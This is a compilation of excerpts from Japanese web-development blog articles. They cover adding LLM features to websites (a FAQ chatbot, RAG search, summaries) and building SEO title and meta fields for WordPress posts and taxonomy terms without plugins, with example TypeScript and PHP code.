クラウドAPIは公式ドキュメントが整っており、エラー時のサポートチケットも投げられます。エンタープライズ契約ならSLA保証もあります。一方、ローカルLLMはコミュニティドリブンで、トラブル時の解決はGitHub Issues・Discord・Stack Overflowが頼りになります。社内に最低1名はLLMインフラに詳しいエンジニアが必要です。 運用メンテナンス負荷の比較 本番投入後の運用負荷は、クラウドAPIの方が圧倒的に低くなります。モデル更新・スケーリング・障害対応の責任範囲がプロバイダ側にあるためです。ローカルLLMは「自社でデータセンターを持つに近い」運用負荷を覚悟する必要があります。 モデル更新・バージョン管理 クラウドAPIは新モデルがリリースされると、モデル名を指定するだけで切り替えられます。旧モデルがリタイアする際は、プロバイダから事前通知（OpenAIのDeprecation Policy等）が出ます。ローカルLLMでは、新しいモデルが出るたびに自分でダウンロード・検証・デプロイの一連を回す必要があります。 スケーリング・障害対応 クラウドAPI: リクエスト急増時はプロバイダ側で自動スケール。レート制限に当たったら上位プラン契約でほぼ即解決 ローカルLLM: 急増時はGPUインスタンス追加・ロードバランサ設定・モデルウェイトの分散ロードが必要。社内インフラチームの対応が前提 クラウドAPI: 障害発生時の責任はプロバイダ。 ### [Webサイトへの LLM 導入事例5選｜チャットボット・検索・要約・振り分け・翻訳](https://codequest.work/llm-website-use-cases/) サイトへのLLM導入とは、自社のWebサイトに大規模言語モデル（ChatGPT・Claude・Gemini等）の機能を組み込み、問い合わせ対応・検索・要約・翻訳などをAIで自動化または高度化することです。 「うちのサイトでLLMを使って何ができるか」を考えるとき、最初に思いつくのはチャットボットです。ただ実際には、それ以外にもセマンティック検索・記事要約・問い合わせ振り分け・多言語化など、効果が出やすい導入パターンが複数あります。それぞれメリットだけでなくコスト・誤回答リスク・運用負荷というトレードオフを抱えているため、自社サイトの目的と相性を見て選ぶことが重要です。 この記事では、Webサイトに組み込みやすい代表的なLLM導入事例を5つ紹介し、それぞれの目的・メリット・デメリット・実装イメージ・コスト感・向き不向きを統一フォーマットで解説します。最後に5事例の横断比較表と、導入前に確認すべき注意点もまとめています。 サイトにLLMを導入できる5つの領域【早見表】 サイトへのLLM導入は、目的別に大きく5つの領域に分けられます。難易度・コスト感・効果が出るまでの期間が異なるため、自社の優先順位に合わせて選びます。 #事例主な目的難易度初期コスト目安1FAQチャットボット問い合わせ削減・24時間対応低10〜30万円2セマンティック検索（RAG）サイト内検索の精度向上中30〜80万円3記事要約・自動サマリー滞在時間・GEO最適化低5〜20万円4問い合わせ振り分け・返信ドラフト業務自動化・一次回答の高速化中30〜60万円5コンテンツ多言語化・自動翻訳海外流入・hreflang対応中20〜50万円 それぞれの事例を、目的・メリット・デメリット・実装イメージ・コスト感・向き不向きの順に解説していきます。 事例1: FAQチャットボット FAQチャットボットとは、自社のFAQ・マニュアル・製品仕様などをLLMに参照させ、ユーザーの自然言語の質問に自動で回答するボットです。サイトへのLLM導入で最も着手しやすく、効果が見えやすい領域です。 想定シーン・目的 SaaSのヘルプセンター、ECサイトの商品問い合わせ、コーポレートサイトの採用FAQなど、「同じような質問が繰り返し届く」業務が対象です。問い合わせフォームの前段に置くことで、人手の対応工数を削減できます。 メリット 問い合わせ件数を30〜70%削減できる事例が多い（窓口業務の負荷軽減） 営業時間外・休日でも一次回答が可能 FAQの更新がそのままボットの回答精度に直結するため、運用が単純 ユーザーの離脱前に「あと一押し」の情報を出せるためCVRが上がるケースもある 会話ログから「ユーザーが本当に聞きたいこと」が可視化され、コンテンツ改善に活かせる デメリット・トレードオフ 誤回答（ハルシネーション）リスク: FAQに無い情報を「それっぽく」回答してしまう。料金・契約条件など重要情報では事故になりやすい FAQ整備の運用負荷: ボットの精度は元データの質に依存する。FAQが古いままだと回答も古いまま API利用料が会話量に比例: 月数万円〜のランニングコストが発生する 「人と話したい」ユーザーは離脱する: ボット一択にせず、有人窓口へのエスカレーション動線が必須 実装イメージ 最小構成は「フロントのチャットUI ＋ サーバー側でLLM APIを叩くエンドポイント ＋ FAQをまとめたテキスト」の3点です。ノーコードならDify・Chatbase・Zendesk AI、フルスクラッチなら以下のような擬似コードになります。 // Next.js API Route の例 export async function POST(req: Request) { const { question } = await req.json() const faq = await loadFaqText() // FAQ全文をstring化 const res = await fetch("https://api.anthropic.com/v1/messages", { method: "POST", headers: { "x-api-key": process.env.ANTHROPIC_API_KEY!, "anthropic-version": "2023-06-01", "content-type": "application/json", }, body: JSON.stringify({ model: "claude-haiku-4-5-20251001", max_tokens: 1024, system: `あなたは弊社FAQボットです。以下のFAQの範囲だけで回答してください。範囲外の質問には「担当者にお繋ぎします」と返答してください。\n\n${faq}`, messages: [{ role: "user", content: question }], }), }) return Response.json(await res.json()) } Next.js × Cloudflareでチャット型UIを自作する具体的な手順は、以下の記事でステップごとに解説しています。 👉 FAQチャットウィジェットを自作する方法【Next.js×Cloudflare D1】 コスト感 初期開発: 10〜30万円（ノーコードSaaS活用）／50〜150万円（フルスクラッチ） API利用料: 月1〜5万円（会話量による）。Anthropic Claude Haikuの最新公式料金はAnthropic公式料金ページを参照 FAQメンテナンス工数: 月数時間〜 向くサイト・向かないサイト 向くサイト向かないサイトSaaS・EC・採用情報など問い合わせが多いサイト問い合わせ件数が月数件しかないサイト（費用対効果が出ない）FAQが既にある程度整備されている医療・法律など誤回答が致命的になる業種（人による最終確認が必須） 事例2: セマンティック検索（RAG） セマンティック検索（RAG: Retrieval-Augmented Generation）とは、ユーザーの質問を埋め込みベクトルに変換し、自社コンテンツから意味的に近いものを検索したうえで、LLMが回答を生成する仕組みです。サイト内検索の精度を一段引き上げる導入パターンです。 想定シーン・目的 記事数が数百〜数千ある情報メディア、製品マニュアルが大量にあるSaaS、社内ナレッジを横断検索したいイントラなどが対象です。キーワード一致型の従来検索では拾えない「意図」レベルでの検索が可能になります。 メリット 「Cookieの設定方法」と検索しても「セッション保持の仕方」を返せる（同義語・概念レベルで一致） 検索結果に「該当箇所の要約」を添えられるため、ユーザーが記事を全部読まなくても答えに辿り着く サイト内検索のCVR・回遊率が上がる事例が多い FAQボットよりも対象コンテンツが広く、ナレッジ全体を活用できる デメリット・トレードオフ ベクトルDBの運用が必要: Pinecone・Weaviate・pgvector等、追加のインフラを持つ必要がある コンテンツ更新ごとに埋め込みを再生成: CMS連携のバッチ処理が必要 埋め込みAPIの利用料: 大量コンテンツでは初回生成だけで数千〜数万円 「検索結果はゼロ件」を返しにくい: 似ているものが返るため、無関係な結果でも何かしら出てしまう 実装イメージ 基本フローは「コンテンツを埋め込みベクトルに変換 → ベクトルDBに保存 → 検索時にクエリも埋め込み化 → 類似度の高い文書をLLMに渡して回答生成」です。 // 1. 埋め込み生成（記事公開時に実行） const embedding = await openai.embeddings.create({ model: "text-embedding-3-small", input: articleBody, }) await db.upsert({ id: articleId, vector: embedding.data[0].embedding, body: articleBody }) // 2. 検索時 const queryEmbedding = await openai.embeddings.create({ model: "text-embedding-3-small", input: userQuery, }) const top3 = await db.query({ vector: queryEmbedding.data[0].embedding, topK: 3 }) const answer = await llm.generate({ context: top3, question: userQuery }) コスト感 初期開発: 30〜80万円（既存サイトへの組み込み） 埋め込み生成: 1,000記事で初回数千円〜数万円（モデルにより変動） ベクトルDB: Pinecone Starterで月70ドル〜、pgvectorなら既存PostgreSQLに追加 運用工数: 月数時間（埋め込み再生成バッチの監視） 向くサイト・向かないサイト 向くサイト向かないサイト記事数100本以上の情報メディア・ヘルプセンター記事数が数十本程度の小規模サイト（通常検索で十分）「探したい意図」が多様なナレッジ系サイト商品検索など型番一致が重要なサイト（普通の検索の方が正確） 事例3: 記事要約・自動サマリー生成 記事要約とは、長文記事の冒頭にLLMで生成した3〜5行のサマリーを自動挿入する仕組みです。読了率の向上、GEO（AI検索最適化）対応、SNSシェア時のOGP説明文の自動化に効きます。 想定シーン・目的 ブログ・ニュースメディア・調査レポートなど、1記事が長尺になりやすいサイトが対象です。冒頭サマリーがあることで「読むかどうか」の判断が3秒で済み、ChatGPTやPerplexityなどのAI検索からも引用されやすくなります。 メリット 記事冒頭に「直接回答」が来るため、AI検索エンジンに引用されやすい（GEO最適化） 読了率・スクロール深度が上がる OGP・meta descriptionの自動生成にも転用できる LLMだけで完結するため、追加インフラが不要（最も着手しやすい） デメリット・トレードオフ 要約が原文の意図とズレるリスク: 専門記事ほど人によるレビューが必要 過去記事への一括適用は記事数 × APIコストがかかる サマリーだけ読まれて本文がスキップされる可能性もある（記事構成で対策が必要） 実装イメージ CMSの記事保存時にフックを仕込み、本文をLLMに渡して要約を生成し、カスタムフィールドに保存します。表示側は通常の記事冒頭にそのフィールドを差し込むだけです。 // 記事保存時に要約を生成してDB保存 async function generateSummary(articleBody: string): Promise { const res = await llm.complete({ system: "次の記事を、検索ユーザーが3秒で理解できる3行のサマリーに要約してください。冒頭1文は記事の結論にしてください。", user: articleBody, max_tokens: 200, }) return res.text } コスト感 初期開発: 5〜20万円（CMSフック追加のみ） API利用料: 1記事数円〜十数円。 ### [WordPressカテゴリ・タグにSEOタイトル/メタを追加する方法｜termmeta実装](https://codequest.work/wordpress-term-seo-meta-implementation/) WordPressの termmeta（タームメタ）は、カテゴリやタグなどのターム（taxonomy term）ごとに任意のメタデータを保存するためのWordPress標準APIです。これを使えばカテゴリページ・タグページのSEOタイトルやメタディスクリプションを、AIOSEOやYoast SEOなどのプラグインに頼らず自作テーマだけで管理できます。 この記事はWordPress投稿のSEOカスタムフィールド実装ガイドの続編で、投稿側で自作した「SEOタイトル・メタディスクリプション」と同じ仕組みをカテゴリページ・タグページにも実装する方法を解説します。register_term_meta から編集画面のフィールド追加、保存フック、wp_head での出力まで、WordPress公式APIだけで動く最小実装をコピペで動く形で順に紹介します。 termmetaとは｜postmetaとの違いと使いどころ termmetaは、カテゴリ・タグ・カスタムタクソノミーのタームに紐づくメタデータをデータベース（wp_termmeta テーブル）に保存する仕組みです。投稿に対するメタデータが wp_postmeta に保存されるのと同じ構造で、ターム版の「カスタムフィールド」と理解すると分かりやすいです。 postmeta と termmeta の主な違いを整理すると次のようになります。 項目postmetatermmeta保存先テーブルwp_postmetawp_termmeta紐づく対象投稿・固定ページ・カスタム投稿カテゴリ・タグ・カスタムタクソノミー取得関数get_post_meta()get_term_meta()更新関数update_post_meta()update_term_meta()登録関数register_post_meta()register_term_meta()編集画面フックadd_meta_boxes{$taxonomy}_edit_form_fields／{$taxonomy}_add_form_fields保存フックsave_postedited_{$taxonomy}／created_{$taxonomy} 関数名・フック名のパターンが post_meta と term_meta で対称になっているため、投稿側で自作SEOメタを実装した経験があれば、ほぼ同じ設計をターム側に転用できます。 なぜカテゴリ・タグページにもSEOメタを自作するのか カテゴリページ・タグページは、関連する複数記事を束ねるハブとして、特定のキーワードで検索エンジンから直接流入を獲得できる可能性があります。実際にGoogle検索で「WordPress 関数 一覧」のような複合キーワードでカテゴリ・タグページが上位表示されるケースは珍しくありません。 しかし WordPress標準ではタクソノミーページの <title> は「カテゴリ名」「タグ名」が自動生成されるだけで、<meta name="description"> に至っては何も出力されません。これを自前で制御するために termmeta を使った専用フィールドが必要になります。 SEOプラグインを使わずに自作する判断軸については WordPressのSEOを自作するメリット・デメリット にまとめています。本記事は「自作する」と決めた前提で、タクソノミー側の実装手順だけを取り上げます。 実装の全体像（4ステップ） タクソノミー用SEOメタの実装は次の4ステップで完成します。 ステップ1：register_term_meta でメタキーをWordPressに登録する（REST API公開・型・サニタイズも同時設定） ステップ2：{$taxonomy}_edit_form_fields／{$taxonomy}_add_form_fields でカテゴリ・タグの編集画面にフィールドを追加する ステップ3：edited_{$taxonomy}／created_{$taxonomy} で入力値をtermmetaに保存する（nonce・権限・サニタイズ） ステップ4：wp_head で is_category()／is_tag()／is_tax() を分岐し、<title> と <meta name="description"> を出力する 4ステップすべてが必須です。ステップ1（register_term_meta）を省略しても動作はしますが、サニタイズ・REST API公開・型の宣言ができないため、安全性と拡張性の観点から最初に登録するのを推奨します。コードは functions.php またはテーマ内の任意のPHPファイルにそのまま貼って動作確認できます。 ステップ1：register_term_metaでメタ項目を登録する register_term_meta は、特定のタクソノミーに対してメタキーを公式に登録するWordPress標準関数です。サニタイズ関数・REST API公開フラグ・型情報を一度に宣言できるため、保存・取得時の安全性を WordPress 側に任せられます。 <?php add_action( 'init', 'my_term_seo_register_meta' ); function my_term_seo_register_meta() { $taxonomies = array( 'category', 'post_tag' ); foreach ( $taxonomies as $taxonomy ) { register_term_meta( $taxonomy, '_my_term_seo_title', array( 'type' => 'string', 'description' => 'タクソノミーページのSEOタイトル', 'single' => true, 'show_in_rest' => true, 'sanitize_callback' => 'sanitize_text_field', 'auth_callback' => function() { return current_user_can( 'manage_categories' ); }, ) ); register_term_meta( $taxonomy, '_my_term_meta_description', array( 'type' => 'string', 'description' => 'タクソノミーページのメタディスクリプション', 'single' => true, 'show_in_rest' => true, 'sanitize_callback' => 'sanitize_textarea_field', 'auth_callback' => function() { return current_user_can( 'manage_categories' ); }, ) ); } } メタキーの先頭にアンダースコアを付ける（例：_my_term_seo_title）のは、postmeta と同じく「保護されたメタ」として扱われ、ターム編集画面の汎用カスタムフィールドUIに二重表示されないようにするためです。auth_callback には manage_categories 権限チェックを入れ、REST API経由での書き込みを編集者以上に限定しています。 sanitize_callback に sanitize_text_field（タイトル用）と sanitize_textarea_field（メタディスクリプション用）を使い分けるのが WordPress 公式の作法です。これを宣言しておくと、後述の保存処理で個別にサニタイズを呼ばなくても WordPress 側で自動的に通してくれます。 ステップ2：カテゴリ・タグの編集画面にフィールドを追加する タクソノミー編集画面のフォームには2つのフックが用意されています。既存タームの「編集」画面用と「新規追加」画面用で別のフック名になっている点に注意します。 用途フック名第一引数既存タームの編集画面{$taxonomy}_edit_form_fieldsWP_Term オブジェクト新規ターム追加画面{$taxonomy}_add_form_fieldsタクソノミー名（string） カテゴリとタグの両方に同じフィールドを追加する例です。category_edit_form_fields と post_tag_edit_form_fields の2つに対して同じコールバックを登録します。 <?php // 編集画面（既存タームを編集する画面） add_action( 'category_edit_form_fields', 'my_term_seo_edit_fields' ); add_action( 'post_tag_edit_form_fields', 'my_term_seo_edit_fields' ); function my_term_seo_edit_fields( $term ) { $seo_title = get_term_meta( $term->term_id, '_my_term_seo_title', true ); $seo_desc = get_term_meta( $term->term_id, '_my_term_meta_description', true ); wp_nonce_field( 'my_term_seo_save', 'my_term_seo_nonce' ); ?> <tr class="form-field"> <th scope="row"> <label for="my_term_seo_title">SEOタイトル</label> </th> <td> <input type="text" id="my_term_seo_title" name="my_term_seo_title" value="<?php echo esc_attr( $seo_title ); ?>" style="width:95%;" /> <p class="description">検索結果の<title>に表示されます（推奨32文字程度）。</p> </td> </tr> <tr class="form-field"> <th scope="row"> <label for="my_term_meta_description">メタディスクリプション</label> </th> <td> <textarea id="my_term_meta_description" name="my_term_meta_description" rows="4" style="width:95%;"><?php echo esc_textarea( $seo_desc ); ?></textarea> <p class="description">検索結果のスニペットに表示されます（推奨120〜160文字）。</p> </td> </tr> <?php } 新規追加画面用の add_form_fields 側も同じくフィールドを足しておくと、新しいカテゴリ・タグを作成する時点でSEOメタを入力できます。 ### [WordPress投稿にSEOタイトル・メタ欄を自作する方法｜カスタムフィールド実装](https://codequest.work/wordpress-post-seo-meta-custom-field/) WordPress投稿のSEOカスタムフィールドとは、各記事ごとのSEOタイトル・メタディスクリプションを投稿編集画面で個別入力・保存し、wp_head で出力する仕組みです。AIOSEOやYoast SEOといった専用プラグインを使わず、WordPress標準の postmeta API とフックだけで実装できます。 この記事では、前回のWordPressのSEOを自作するメリット・デメリットで挙げた「必須実装要素①: title/meta管理」を深掘りし、メタボックスの追加から保存・出力・REST API連携まで、WordPress公式APIだけで完結する最小実装をステップごとに解説します。コード例はすべて公式の汎用形式で、コピペで動く構成にしています。 WordPress投稿のSEOカスタムフィールドとは（定義と仕組み） SEOカスタムフィールドは、postmeta テーブルに「SEOタイトル」「メタディスクリプション」専用のキーを用意し、記事ごとに個別の値を保存する仕組みです。WordPress標準ではこの2項目は post_title と post_excerpt しか持っていないため、SEO最適化のために別フィールドを追加します。 代表的な実装パターンは次の3層に分かれます。 入力UI：投稿編集画面に add_meta_box でメタボックスを追加 保存処理：save_post アクションで update_post_meta を呼び、postmetaに格納 出力処理：wp_head で get_post_meta から読み出し、<title> と <meta name="description"> として出力 この3層を自分のテーマ（または機能プラグイン）に実装すれば、SEOプラグインを入れずにページ単位のSEO最適化が可能になります。 カスタムフィールド自作 vs SEOプラグイン vs ACFの比較 SEOメタの管理方法には主に3つの選択肢があります。それぞれの特徴を整理した上で判断するのが安全です。 項目自作（postmeta）SEOプラグインACF導入コスト実装が必要インストールのみプラグイン＋設定表示速度への影響最小（必要な機能だけ）不要機能も読み込まれがち中程度カスタマイズ自由度高いプラグインの設計に依存UIは強いが出力は自作UI管理画面自前で実装充実したUI標準装備強力なフィールドUIメンテナンスWP本体APIのみ追随プラグイン更新追随プラグイン＋自作出力向いている人個人開発者・自社運用編集者多数の組織サイトカスタムフィールド多用サイト SEOメタ用途だけを自作する場合、必要な関数は4つ程度（add_meta_box / update_post_meta / get_post_meta / register_meta）で、合計100行ほどの実装に収まります。プラグインを増やしたくない個人開発者・自社メディア運営者に最も向いています。 実装の全体像（4ステップ） SEOカスタムフィールドの実装は次の4ステップで完成します。 ステップ1：投稿編集画面にメタボックスを追加する（入力欄を表示） ステップ2：入力された値を postmeta に保存する（nonce検証・サニタイズ込み） ステップ3：wp_head でフロントの <title> と <meta name="description"> に出力する ステップ4：（任意）register_meta でREST APIに公開し、Gutenberg・外部ツールから参照可能にする ステップ1〜3が必須、ステップ4は任意です。以下、各ステップを WordPress 公式APIの最小サンプルで順に見ていきます。コードは functions.php またはテーマ内の任意のPHPファイルにそのまま貼って動作確認できます。 ステップ1：投稿編集画面にメタボックスを追加する add_meta_box を add_meta_boxes アクションで呼ぶと、投稿編集画面の任意の位置にカスタム入力欄を追加できます。 <?php add_action( 'add_meta_boxes', 'my_seo_add_meta_box' ); function my_seo_add_meta_box() { add_meta_box( 'my_seo_meta_box', // メタボックスのID 'SEO設定', // タイトル 'my_seo_render_meta_box', // コールバック関数名 'post', // 表示する投稿タイプ 'side', // 表示位置（normal/side/advanced） 'high' // 表示優先度（high/core/default/low） ); } function my_seo_render_meta_box( $post ) { // nonceフィールドを出力（保存時の検証に使う） wp_nonce_field( 'my_seo_save_meta', 'my_seo_meta_nonce' ); $seo_title = get_post_meta( $post->ID, '_my_seo_title', true ); $seo_desc = get_post_meta( $post->ID, '_my_seo_description', true ); ?> <p> <label for="my_seo_title"><strong>SEOタイトル</strong></label> <input type="text" id="my_seo_title" name="my_seo_title" value="<?php echo esc_attr( $seo_title ); ?>" style="width:100%;" /> </p> <p> <label for="my_seo_description"><strong>メタディスクリプション</strong></label> <textarea id="my_seo_description" name="my_seo_description" rows="4" style="width:100%;"><?php echo esc_textarea( $seo_desc ); ?></textarea> </p> <?php } ポイントは メタキーの先頭にアンダースコアを付けること（例：_my_seo_title）。アンダースコア始まりのメタキーは「保護されたメタ」として扱われ、投稿編集画面の標準カスタムフィールドUIに表示されなくなります。SEO専用フィールドが標準UIに二重表示されるのを防ぐ目的で、SEOプラグイン各種もこの命名規則を採用しています。 ステップ2：入力値を postmeta に保存する save_post アクションで投稿が保存されたタイミングをフックし、update_post_meta でpostmetaテーブルに値を格納します。ここで nonce検証・自動保存除外・権限チェック・サニタイズ の4点セットを必ず実装します。 <?php add_action( 'save_post', 'my_seo_save_meta' ); function my_seo_save_meta( $post_id ) { // 1. nonce検証 if ( ! isset( $_POST['my_seo_meta_nonce'] ) || ! wp_verify_nonce( $_POST['my_seo_meta_nonce'], 'my_seo_save_meta' ) ) { return; } // 2. 自動保存はスキップ if ( defined( 'DOING_AUTOSAVE' ) && DOING_AUTOSAVE ) { return; } // 3. 編集権限チェック if ( ! current_user_can( 'edit_post', $post_id ) ) { return; } // 4. サニタイズして保存 if ( isset( $_POST['my_seo_title'] ) ) { update_post_meta( $post_id, '_my_seo_title', sanitize_text_field( wp_unslash( $_POST['my_seo_title'] ) ) ); } if ( isset( $_POST['my_seo_description'] ) ) { update_post_meta( $post_id, '_my_seo_description', sanitize_textarea_field( wp_unslash( $_POST['my_seo_description'] ) ) ); } } wp_unslash は WordPress が自動付与するエスケープを除去する関数で、サニタイズ前に必ず通します。タイトルは sanitize_text_field、複数行のメタディスクリプションは sanitize_textarea_field を使い分けるのがWordPress公式の作法です。 4つのチェックのうち nonce検証を省略するとCSRF攻撃で他ユーザーの投稿メタを書き換えられる可能性があり、権限チェックを省略すると低権限ユーザーが管理者投稿を編集できる脆弱性になります。どちらも公開サイトでは必須です。 ステップ3：wp_headでフロントに出力する（フォールバック設計） 保存した値を <title> タグと <meta name="description"> として出力します。ここで肝心なのは postmetaが空のときのフォールバックです。全記事に毎回SEOタイトルを書くのは現実的ではないため、空のときは post_title や post_excerpt に自動で切り替える設計が必須になります。 <title>タグの上書き WordPress 4.4以降、テーマが add_theme_support( "title-tag" ) を宣言していると、<title> は pre_get_document_title フィルタで上書きできます。 <?php add_filter( 'pre_get_document_title', 'my_seo_filter_title' ); function my_seo_filter_title( $title ) { if ( ! is_singular( 'post' ) ) { return $title; } $post_id = get_queried_object_id(); $seo_title = get_post_meta( $post_id, '_my_seo_title', true ); if ( ! empty( $seo_title ) ) { return $seo_title; } // フォールバック：post_title をそのまま使う return $title; } meta description の出力 メタディスクリプションは wp_head アクションでHTMLを直接出力します。こちらも空欄時は get_the_excerpt でフォールバックさせます。 ### [WordPressのSEOを自作するメリット・デメリット｜AIOSEO・Yoastを使わない選択肢](https://codequest.work/wordpress-seo-without-aioseo/) WordPressのSEO自作とは、AIOSEOやYoast SEOなどのSEOプラグインを使わず、テーマファイル（functions.php / header.php）にSEO機能を直接実装する方法です。プラグイン肥大化を避けたい個人開発サイト・中規模以下の自社メディアでは有効ですが、編集者が複数いるクライアントサイトには向きません。 この記事では、AIOSEOを使わずにWordPressテーマでSEOを自作する判断基準・メリット・デメリット・必須実装要素を、当サイトCodeQuest.workでの運用経験を元に解説します。「プラグインを減らしたいが何を実装すれば代替できるのか」が分かる構成です。 WordPressのSEO自作とは（定義と前提） SEO自作とは、SEOプラグイン（AIOSEO / Yoast SEO / Rank Math 等）を使わず、テーマ側でSEO機能を実装する運用形態を指します。具体的にはfunctions.phpやテーマ内 inc/seo/ といったディレクトリにPHPコードを記述し、title・meta description・OGP・構造化データ・canonical・sitemap などをすべて自前で出力します。 前提として、WordPressコア自体にもSEOに関する出力機能（wp_head()からのtitle出力、サイトマップ機能など）が一部備わっています。自作SEOとは「コア機能で足りない部分をテーマ側で補完する」アプローチで、プラグインで補う方法と並列の選択肢です。 向いているサイト：個人開発の技術ブログ、自社運営の中規模以下メディア、テーマ開発を業務にしている制作会社の自社サイト。 向いていないサイト：編集者が複数いるクライアントサイト、SEO担当者が非エンジニアの企業サイト、テーマを頻繁に切り替える可能性があるサイト。 SEOを自作するメリット5つ AIOSEOを含む主要SEOプラグインは多機能ですが、その代償としてPHP実行負荷・DB書き込み・管理画面の重さが発生します。自作SEOで得られる主なメリットは以下の5つです。 ① ページ表示速度の改善（PHP/DB負荷ゼロ） AIOSEOは多くのフィルターフックを介してtitle・meta・構造化データ・OGPを動的生成します。これに伴うPHP関数呼び出しとDB問い合わせは、特に低スペックサーバーで体感差が出ます。自作実装では「必要な処理だけ」をテーマ側に書くため、無駄な処理が発生しません。Core Web Vitals（特にLCP・INP）の改善余地が大きくなります。 ② 実装の完全コントロール プラグインの出力は仕様変更や設定UIの制約に縛られます。「この投稿タイプだけ別のcanonicalを出したい」「特定カテゴリだけnoindexにしたい」といった細かい要件は、プラグイン側の対応待ちになることがあります。自作なら全ての分岐・出力タイミングを自分で設計でき、サイト固有の運用要件に正確に合わせられます。 ③ 不要機能の排除でDB肥大化を防ぐ SEOプラグインは「リダイレクト管理」「ローカルSEO」「ソーシャル統計」など、SEOの周辺機能を多く搭載しています。使わない機能でもDB（wp_optionsやpostmeta）に設定値・キャッシュが蓄積されることがあり、サイト規模が大きくなるほどデータベース肥大化の原因になります。自作なら必要な機能だけを実装するため、postmetaに残るのは自サイトで設計したキーだけです。 ④ プラグインアップデート依存からの解放 SEOプラグインは更新頻度が高く、メジャーアップデートで設定画面の構造やフィルターフック名が変わることもあります。プラグイン側のバグで一時的に構造化データが壊れる事例も過去にありました。自作なら、自分が触らない限り出力は変わりません。Googleの仕様変更にはこちらから能動的に追従する必要がありますが、突然の挙動変化に振り回されることはなくなります。 ⑤ E-E-A-T強化と技術力アップ SEOプラグインに任せていると、構造化データ・canonical・OGPの仕様を意識せずに済みます。逆に自作すると、schema.orgのプロパティ設計・正規URLの判定ロジック・FAQの抽出条件などを自分で理解する必要が出てきます。この知識は AI検索時代のSEO対策 で求められるE-E-A-T発信や、クライアント案件での提案力に直結します。 SEOを自作するデメリット5つ メリットの裏返しがそのままデメリットになります。「自作で得られる自由度」と「自作で背負う責任」のトレードオフを正しく理解して判断する必要があります。 ① 初期実装工数が大きい SEOプラグインなら数分でインストール＆基本設定が完了しますが、自作はゼロから設計が必要です。title・meta description・OGP・構造化データ・canonical・hreflang・sitemap など、後述する 必須実装要素6点 を一通り組むだけで、慣れた開発者でも実働数日〜1週間ほどかかります。「明日リリースしたい」サイトには向きません。 ② Googleの仕様変更への追随責任 schema.orgのプロパティ追加・Google検索の構造化データ要件変更・OGPの最適仕様変化などに、自分で追従する必要があります。プラグインなら自動アップデートで対応されますが、自作はGoogle検索セントラルやSchema.orgの更新を定期的にウォッチして、自分のコードに反映する手間が発生します。 ③ 編集者向けの管理画面UIがない AIOSEOやYoastは投稿編集画面に専用UIを表示し、SEOタイトル・メタディスクリプション・キーワード・読みやすさスコアなどを編集者が直感的に操作できます。自作の場合、最低限「投稿編集画面にSEOタイトル/メタディスクリプション入力欄」をメタボックスで追加する実装は必要で、これを省くと編集者が触れなくなります。コーディングに不慣れなライターが在籍するサイトでは負担が大きくなります。 ④ バグ・脆弱性のリスクを自分で負う 主要SEOプラグインは数百万サイトで使われており、バグが見つかれば速やかに修正されます。自作コードは自分しか見ないため、エスケープ漏れ・XSS・出力タイミングミスなどの問題が長期間気付かれない可能性があります。出力するHTMLには esc_html() esc_url() esc_attr() などWordPressのエスケープ関数を必ず通すなど、セキュリティ意識を持って実装する必要があります。 ⑤ 移行・引き継ぎコスト SEO自作はテーマに依存します。テーマを切り替えた瞬間にすべてのSEO設定が失われるため、サイトをリニューアルする際は実装の移行が必要です。また、後任の開発者にサイトを引き継ぐ場合、独自実装のドキュメント化が必須になります。プラグインなら「AIOSEOで管理しています」の一言で済む引き継ぎが、自作だと数ページのドキュメントになる可能性があります。 自作 vs プラグインの判断フローチャート メリット・デメリットを踏まえて、自作 / プラグイン / ハイブリッドの3択を判断する基準を整理します。以下の表で当てはまる項目が多い方を選択してください。 判断軸自作向きプラグイン向き開発リソーステーマ開発できるエンジニアがいるエンジニア不在 or 別案件で多忙サイト規模個人 or 小規模（〜数百記事）大規模（数千〜数万記事）編集者の人数運営者本人のみ複数の非エンジニアライターがいるSEO理解度schema.org・canonical等を理解SEOは外注 or プラグイン任せサイトの寿命長期運用予定（5年以上）短期キャンペーン or 改修頻繁テーマ変更予定自作テーマで長期運用市販テーマ切り替えの可能性ありパフォーマンス重視度Core Web Vitals最優先機能性・UI優先 「自作向き」が4つ以上当てはまれば自作を検討する価値があります。3つ以下ならプラグイン継続、判断に迷うなら後述するハイブリッド戦略がおすすめです。 自作SEOで必須となる実装要素6点 AIOSEOを置き換えるには、最低限以下の6要素を自作で実装する必要があります。これらが揃わないとSEOプラグインから乗り換えた瞬間に検索順位が下がるリスクがあります。実装着手前に必ずチェックしてください。 ① title / meta description の管理機能 投稿ごとにSEOタイトルとメタディスクリプションを編集できる仕組みが必要です。実装方針としては、postmetaにカスタムフィールド（例：_seo_title / _meta_description）を持たせ、投稿編集画面にメタボックスで入力欄を追加します。wp_headフックで出力する際、postmetaが空の場合は投稿タイトルやexcerptをフォールバックとして使う設計が一般的です。詳しくは meta descriptionの書き方ガイド を参照してください。 ② OGP / Twitter Card SNSシェア時のプレビュー表示に必須のメタタグです。og:title / og:description / og:image / og:url / og:type と、twitter:card / twitter:image あたりを wp_head で出力します。アイキャッチ画像が設定されていない投稿のフォールバック画像も用意しておく必要があります。実装後は OGPプレビューツール で表示確認するのがおすすめです。 ③ 構造化データ（JSON-LD） Google検索のリッチリザルト・AI検索エンジンの引用元判定に大きく影響する要素です。最低限実装すべきは Article（個別投稿）、BreadcrumbList（パンくず）、Organization（運営者情報）、WebSite（サイト全体）。FAQを使う記事には FAQPage も必要です。Schema.orgの仕様に正確に従う必要があり、自作では @graph 形式で複数スキーマを統合する設計が推奨されます。詳しくは AI検索時代のSEO対策入門 で解説しています。店舗・地域ビジネスのサイトではこれに LocalBusiness が加わりますが、Googleが必須としているのは name と address の2つだけです。どこまで揃えるべきかの判断基準は ローカルSEOとMEOの違い にまとめています。 ④ canonical / hreflang canonical URLは重複コンテンツ対策の必須要素です。WordPress標準でも一部出力されますが、ページネーション・タグページ・パラメータ付きURLでの挙動を自分でコントロールする必要があります。多言語サイトを運営する場合は hreflang（ja / en / x-default）も必要です。rel属性に関する周辺知識は nofollow・dofollow・noreferrerの違い で整理しています。 ⑤ robots / noindex 制御 投稿単位・カテゴリ単位・タグ単位でnoindexを制御する仕組みが必要です。Uncategorizedカテゴリ・薄いタグページ・サンクスページなどはnoindexにすべきケースが多くあります。WordPressの wp_robotsフィルタや robots_meta_value あたりを利用して、条件分岐で出し分けます。当サイトでは最近、Uncategorizedカテゴリにnoindexを追加して カニバリゼーション の予防策を取りました。 ⑥ XMLサイトマップ / robots.txt WordPress 5.5以降はコア機能で /wp-sitemap.xml が自動生成されるため、これをそのまま使う選択肢があります。 ### 